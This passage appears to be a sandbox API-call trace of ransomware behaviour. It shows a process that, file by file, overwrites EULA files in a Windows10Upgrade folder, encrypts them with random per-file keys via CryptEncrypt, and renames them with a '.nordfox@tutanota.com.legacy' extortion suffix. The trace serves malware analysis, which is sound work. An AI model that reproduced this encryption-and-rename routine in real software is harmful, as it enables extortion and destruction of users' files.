(lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm", dwFileAttributes=0x80) returned 1 [0122.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0122.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0122.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0122.421] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0122.421] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=67188) returned 1 [0122.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10674) returned 0x60cbf0 [0122.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10674) returned 0x2e41f30 [0122.421] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x10674, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10674, lpOverlapped=0x0) returned 1 [0122.539] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-67188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.540] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x10674, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10674, lpOverlapped=0x0) returned 1 [0122.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0122.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0122.540] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10674 [0122.540] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0122.540] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0122.541] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0122.541] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0122.541] CloseHandle (hObject=0x6d0) returned 1 [0122.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0122.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0122.541] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0122.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0122.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c488 | out: hHeap=0x520000) returned 1 [0122.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c398 | out: hHeap=0x520000) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0122.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0122.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0122.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0122.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0122.551] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm", dwFileAttributes=0x80) returned 1 [0122.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c230 [0122.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0122.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c230 | out: hHeap=0x520000) returned 1 [0122.552] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0122.553] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=83909) returned 1 [0122.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x147c5) returned 0x2e41f30 [0122.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x147c5) returned 0x2e56700 [0122.554] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x147c5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x147c5, lpOverlapped=0x0) returned 1 [0122.716] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-83909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.717] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e56700*, nNumberOfBytesToWrite=0x147c5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e56700*, lpNumberOfBytesWritten=0x2e1f9bc*=0x147c5, lpOverlapped=0x0) returned 1 [0122.717] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0122.717] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e56700 | out: hHeap=0x520000) returned 1 [0122.719] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x147c5 [0122.719] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0122.719] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0122.720] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0122.720] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0122.720] CloseHandle (hObject=0x6d0) returned 1 [0122.721] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0122.721] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0122.721] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0122.723] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0122.723] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0122.723] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c848 | out: hHeap=0x520000) returned 1 [0122.723] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0122.723] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0122.723] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0122.723] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0122.724] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0122.724] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm", dwFileAttributes=0x80) returned 1 [0122.724] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c848 [0122.724] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0122.724] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c848 | out: hHeap=0x520000) returned 1 [0122.724] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0122.725] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=76091) returned 1 [0122.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1293b) returned 0x2e41f30 [0122.726] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1293b) returned 0x2e54878 [0122.726] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x1293b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x1293b, lpOverlapped=0x0) returned 1 [0122.786] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-76091, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.786] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e54878*, nNumberOfBytesToWrite=0x1293b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e54878*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1293b, lpOverlapped=0x0) returned 1 [0122.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0122.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e54878 | out: hHeap=0x520000) returned 1 [0122.787] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1293b [0122.787] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0122.787] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0122.787] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0122.788] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0122.788] CloseHandle (hObject=0x6d0) returned 1 [0122.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0122.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0122.788] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0122.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0122.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0122.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60be70 | out: hHeap=0x520000) returned 1 [0122.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c398 [0122.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0122.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0122.792] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0122.792] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0122.792] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm", dwFileAttributes=0x80) returned 1 [0122.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60be70 [0122.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0122.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60be70 | out: hHeap=0x520000) returned 1 [0122.793] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0122.793] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=634083) returned 1 [0122.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9ace3) returned 0x6f9020 [0122.796] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9ace3) returned 0x3124020 [0122.800] ReadFile (in: hFile=0x6d0, lpBuffer=0x6f9020, nNumberOfBytesToRead=0x9ace3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f9020*, lpNumberOfBytesRead=0x2e1f9bc*=0x9ace3, lpOverlapped=0x0) returned 1 [0122.940] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-634083, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.940] WriteFile (in: hFile=0x6d0, lpBuffer=0x3124020*, nNumberOfBytesToWrite=0x9ace3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3124020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9ace3, lpOverlapped=0x0) returned 1 [0122.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f9020 | out: hHeap=0x520000) returned 1 [0122.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3124020 | out: hHeap=0x520000) returned 1 [0122.951] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9ace3 [0122.952] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0122.952] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0122.952] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0122.952] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0122.952] CloseHandle (hObject=0x6d0) returned 1 [0122.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0122.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0122.953] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0123.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c398 | out: hHeap=0x520000) returned 1 [0123.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c7d0 | out: hHeap=0x520000) returned 1 [0123.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c398 [0123.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0123.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0123.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0123.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0123.002] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm", dwFileAttributes=0x80) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c848 [0123.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0123.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c848 | out: hHeap=0x520000) returned 1 [0123.004] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.005] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=210254) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3354e) returned 0x2e41f30 [0123.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3354e) returned 0x2e75488 [0123.006] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x3354e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x3354e, lpOverlapped=0x0) returned 1 [0123.059] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-210254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.059] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e75488*, nNumberOfBytesToWrite=0x3354e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e75488*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3354e, lpOverlapped=0x0) returned 1 [0123.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e75488 | out: hHeap=0x520000) returned 1 [0123.064] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3354e [0123.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.066] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.066] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.066] CloseHandle (hObject=0x6d0) returned 1 [0123.066] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0123.066] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0123.066] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.068] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0123.068] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c398 | out: hHeap=0x520000) returned 1 [0123.068] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c320 | out: hHeap=0x520000) returned 1 [0123.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c398 [0123.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0123.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0123.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0123.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0123.068] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm", dwFileAttributes=0x80) returned 1 [0123.069] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c578 [0123.069] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0123.069] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c578 | out: hHeap=0x520000) returned 1 [0123.069] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.069] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69485) returned 1 [0123.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10f6d) returned 0x60cbf0 [0123.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10f6d) returned 0x2e41f30 [0123.071] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x10f6d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10f6d, lpOverlapped=0x0) returned 1 [0123.127] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-69485, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.127] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x10f6d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, 